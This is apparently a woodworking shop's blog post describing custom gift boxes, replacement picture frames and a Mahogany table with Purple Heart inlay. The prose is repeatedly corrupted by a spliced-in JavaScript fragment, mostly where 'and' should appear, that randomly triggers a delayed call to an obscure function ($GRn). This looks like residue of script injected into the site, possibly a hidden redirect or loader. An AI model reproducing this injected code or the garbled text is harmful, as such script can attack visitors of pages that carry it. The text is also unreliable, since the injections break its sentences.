Our Customer asked us to make 4 boxes for gifts. Â They are all 100% wood with felt lined & padded bottoms inside. Â The tops are made from Spalted Maple andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the bottom of either Spanish Mahogany or Claro Walnut. Â Â We added Spalted Maple splines to each of the boxes not only to add a bit more beauty, but also to make the mitered corners strong.
Our customer has a wonderful gallery wall of her family over the years. Â The frames she’s been using are no longer being made. Â She asked us to create some frames that would be close, but didn’t have to be dead on.
We used some left over Mahogany, stain, glaze andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several codes of  handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rubbed polyurethane to arrive at a finished project.  Our customer was pleased, which makes us very happy.
Among several other projects, we’ve recently been working on a Mahogany dining room table with a Purple Heart inlay. Â Â I know I know.. I can hear you thinking Purple Heart?! Â Â Both woods are phototropic. Â Â Meaning they change with light. Â In this case, Mahogany deepens from a fairly light wood to a rich beautiful brown with a hint of red. Â Purple Heart REALLY changes. Â It starts out just about Barney Purple (as you can see in the gallery photos at the bottom of the post). Â Â Before long, it becomes a very deep purple/reddish brown andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is a nice complement to Spanish Mahogany.
Here's a box we made a few years ago. Â The feet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dovetails are purple heart. Â The rest of the box is Spanish Mahogany.
Box made from Spanish Mahogany & Purple Heart
With this table, we've got a solid Mahogany center that is roughly 3/4" thick. Â We're then adding a frame with the Purple Heart inlay. Â The inlay is about 1/2" thick andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the frame is roughly 1 5/8". Â Our customer wanted a thick looking top but didn't want all the unnecessary weight andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and expense. Â We've created a 1/2" tongue around the entire center andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and put a channel in the frame to go over the tongue. Â What looks like maybe we made the channel a bit too deep is really an expansion gap. Â This table could go from a Texas summer to an Alaskan winter andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and won't bust out of it's frame.
The legs are laminated Mahogany. Â The layers of Mahogany (vs one huge thick board) help to keep the legs straight over long periods of time. Â It also serves to make them very, very strong. Â You could put an truck on these legs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and they wouldn't even creak. (Though please don't try this as home 
). Â They were tapered at our customer's request.
We'll get more pictures posted, but for now ... Â here's the progress ....
